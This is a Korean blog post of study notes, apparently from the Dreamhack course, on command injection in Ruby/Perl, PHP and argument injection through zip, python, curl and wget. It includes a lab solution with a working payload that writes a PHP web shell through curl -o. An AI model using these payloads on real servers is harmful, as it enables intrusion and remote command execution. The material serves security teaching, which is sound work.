- 언어 별로 커맨드 인젝션이 발생하는 형태를 알아보자.
1. ruby & perl
- 루비 (Ruby)와 펄 (Perl)에서는 파일 또는 하위 프로세스의 I/O를 제공하는 open 함수가 있다.
- 해당 함수의 인자로 파일명이 전달되면 파일을 읽거나 쓸 수 있고, 인자의 첫 번째 문자가 | (pipe, vertical bar)일 경우 pipe_open 함수에서 처리한다.
- 해당 함수는 C 언어의 system 함수와 같이 새로운 프로세스를 생성하므로 임의 명령어를 실행할 수 있다.
- 이외에도 rb_io_open_generic 함수도 전달된 인자의 첫 문자가 '|'인지 확인하고 프로세스 생성 여부를 결정한다.
2. PHP
- 시스템 명령어를 실행하기 위한 system 함수를 제공한다.
- 해당 언어에서는 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 escapeshellcmd 함수를 사용한다. 이 함수는 메타 문자가 입력됐을 때 해당 문자 앞에 \를 삽입해 타 명령어를 실행할 수 없도록 한다.
- escapeshellcmd 함수를 통해 입력값에 포함된 메타 문자를 변경하는 경우 메타 문자를 활용한 커맨드 인젝션은 불가능하나, 특정 명령어의 인자로 입력값이 전달되는 경우 공격자는 실행하려는 명령어의 옵션을 조작할 수 있다. 명령어의 인자를 조작할 수 없도록 하려면 escapeshellarg 함수를 사용해야 한다.
- 특정 프로그램의 경우 옵션으로 임의의 명령어를 실행할 수 있는 기능을 제공하기 때문에 해당 프로그램의 인자를 조작할 수 있는 상황이라면 커맨드 인젝션 공격이 가능하다.
1. zip을 이용한 커맨드 인젝션
--unzip-command : 압축 파일을 테스트할 때 사용하는 옵션으로, 인자로 전달된 명령어를 실행한다.
$ zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"
updating: etc/passwd (deflated 64%)
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
test of /tmp/test.zip OK
2. python을 이용한 커맨드 인젝션
파이썬은 명령줄로 코드를 실행할 수 있는 -c 옵션이 존재한다.
$ python -c '__import__("os").system("id")' input.py
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
3. curl을 이용한 임의 파일 쓰기
curl은 전달된 URL에 접속하는 CLI 프로그램이다.
앞서 다룬 zip과 파이썬과 같이 명령어를 실행할 수 없지만,
-o 옵션을 통해 임의 경로에 파일을 저장할 수 있다.
이는 웹셸을 올리기 위한 방법으로 사용할 수 있다.
$ curl http://dreamhack.local -o /tmp/hello.txt
Hello !
$ cat /tmp/hello.txt
Hello !
4. wget을 이용한 임의 파일 쓰기
wget은 전달된 URL에 접속해 파일을 다운로드하는 용도로 사용되는 프로그램이다.
-O 옵션을 사용하면 임의 경로에 파일을 저장할 수 있다.
$ wget http://dreamhack.local -O hello.txt
--2020-05-20 14:28:56-- http://dreamhack.local/
Resolving dreamhack.local (dreamhack.local)... 127.0.0.1
Connecting to dreamhack.local (dreamhack.local)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 288 [text/html]
Saving to: ‘/tmp/hello.txt’
/tmp/hello.txt 100%[============================================>] 288 --.-KB/s in 0s
2020-05-20 14:28:56 (22.9 MB/s) - ‘/tmp/hello.txt’ saved [288/288]
$ cat /tmp/hello.txt
Hello !
3. 예시
- 서버 코드
1. curl.echo.php
<?php
$cmd = "curl -s ".escapeshellcmd($_GET['url']);
echo "Command: ". escapeshellcmd($_GET['url']). "\n";
$ret = shell_exec($cmd);
echo $ret;
?>
2. index.php
<?=$_GET['msg'];?>
- 풀이
-h 옵션을 통해 사용 가능한 옵션을 확인할 수 있다. (curl -h 옵션)
==> http://dreamhack.local/echo?msg=test -h
curl의 -o(--output)옵션은 curl 결과를 파일로 저장하는 옵션이다.
-o 옵션을 이용하여 /var/www/html/uploads/ 경로에 php 파일을 생성하면 플래그를 얻을 수 있다.
==> http://dreamhack.local/echo?msg=test -o /var/www/html/uploads/webshell.php
해당 실습에서는 php 생성만을 확인하지만 아래와 같은 방법을 통해 실제 php 웹쉘을 생성할 수 있다.
==> http://dreamhack.local/echo?msg=<?%3Dsystem($_GET[cmd]);?> -o /var/www/html/uploads/webshell.php
'프로그래밍 > 해킹' 카테고리의 다른 글
File Vulnerability Advanced for linux & Apache htaccess (0) | 2024.07.20 |
---|---|
Command Injection Advanced 실습 문제 (0) | 2024.07.17 |
시스템 해킹 - 셸코드 (0) | 2024.07.10 |
Wireshark 관련 지식 (0) | 2024.07.08 |
x86 어셈블리 (0) | 2024.07.06 |